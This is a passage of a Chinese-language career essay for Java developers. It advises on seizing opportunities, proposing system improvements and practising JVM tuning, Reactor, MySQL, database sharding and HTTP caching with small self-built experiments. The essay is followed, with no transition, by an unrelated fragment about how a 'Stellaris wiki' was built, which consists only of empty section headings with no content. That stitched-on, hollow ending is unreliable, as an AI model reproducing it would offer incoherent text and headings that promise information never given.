可能要改進，組件可能要替換，或者你換了一家公司，新公司既沒有組件也沒有框架，要你從頭開始來做。這些都是機會，也是挑戰，而機會和挑戰只會分配給有準備的人。以java為例，大部分業務代碼就是if-else加個資料庫操作，但我們完全可以自己學些更多java的知識，例如垃圾回收，調優，網路編程等，這些可能暫時沒用，但真要用的時候，不是google一下就可以了，這個時候誰已經掌握了相關知識和技能，機會就是誰的。2、盡量做到更好世界上沒有完美的東西，你負責的系統和業務，總有不合理和可以改進的地方，識別這些「不合理」和「可改進」的地方，並且給出解決方案，然後向主管提出，一次不行兩次，多提幾次，機會，就是自己去爭取和把握。例如：重復代碼太多，是否可以引入設計模式？系統性能一般，可否進行優化？目前是單機，如果做成雙機是否更好？版本開發質量不高，是否引入高效的單元測試和集成測試方案？目前的系統太龐大，是否可以通過重構和解耦改為3個系統？阿里中間件有一些系統感覺我們也可以用，是否可以引入 ？3、盡量動手實踐光看不用效果差例如：學習了jvm的垃圾回收，但是線上比較少出現FGC導致的卡頓問題，就算出現了，恢復業務也是第一位的，不太可能線上出現問題然後讓每個同學都去練一下手，那怎麼去實踐這些jvm的知識和技能呢？Netty我也看了，也了解了Reactor的原理，但是我不可能參與Netty開發，怎麼去讓自己真正掌握Reactor非同步模式呢？看了《高性能MySQL》，但是線上的資料庫都是DBA管理的，測試環境的資料庫感覺又是隨便配置的，我怎麼去驗證這些技術呢？框架封裝了DAL層，資料庫的訪問我們都不需要操心，我們怎麼去了解分庫分表實現？怎麼辦？1）系統化的學習這個是第一階段，看書、google、看視頻、看別人的博客都可以，但要注意一點是「系統化」，特別是一些基礎性的東西，例如JVM原理、Java 編程、網路編程，HTTP協議等等，這些基礎技術不能只通過google或者博客學習，一般做法是先完整地看完一本書，有了全面的了解，然後再通過google、視頻、博客去有針對性地查找一些有疑問的地方，或者一些技巧。2）自己動手豐衣足食這個步驟就是解答上文提到的疑惑，也就是自己去嘗試搭建一些模擬環境，自己寫一些測試程序。例如：Jvm垃圾回收：可以自己寫一個簡單的測試程序，分配內存不釋放，然後調整各種jvm啟動參數，再運行的過程中使用jstack、jstat等命令查看jvm的堆內存分布和垃圾回收情況。這樣的程序寫起來很簡單，簡單一點的就幾行，復雜一點的也就幾十行。Reactor原理：自己真正去嘗試寫一個Reactor模式的Demo，不要以為這個很難，最簡單的Reactor模式代碼量（包括注釋）不超過200行（可以參考Doug Lee的PPT）。自己寫完後，再去看看netty怎麼做，一對比理解就更加深刻了。MySQL：既然有線上的配置可以參考，那可以直接讓DBA將線上配置發給我們（注意去掉敏感信息），直接學習；然後自己搭建一個MySQL環境，用線上的配置啟動；要知道很多同學用了很多年MySQL，但是連個簡單的MySQL環境都搭不起來。框架封裝了DAL層：可以自己用JDBC嘗試去寫一個分庫分表的簡單實現，然後與框架的實現進行對比，看看差異在哪裡。用瀏覽器的工具查看HTTP緩存實現，看看不同種類的網站，不同類型的資源，具體是如何控制緩存的；也可以自己用Python寫一個簡單的HTTP伺服器，模擬返回各種HTTP Headers來觀察瀏覽器的反應。3）交流分享，發現自己的不足之處。與人交流分享，既需要我們將一個知識點進行系統化的梳理，並且考慮各種細節，這會促使我們進一步思考和學習。同時，聽的人可以有不同的理解，或者有新的補充，這就令知識技能體系變得更加完善。後記無論結果怎樣，當我們談論過程的艱難與樂趣之時，是否可以不去計較自己是否付出太多？因為一個真正熱愛技術的人，只會勇往直前，不忘初衷，堅持到底！
④ huijiwiki隨筆之二——群星wiki是如何煉成的
群星wiki的煉成主要依賴於以下幾個關鍵點：
深入的游戲理解與准備：
數據整理與結構化：
高效的數據傳輸與轉化：
技術與創新的結合：
維基資料庫的構建與優化：
團隊協作與持續創新：
防範抄襲與提升技術含量：
未來願景：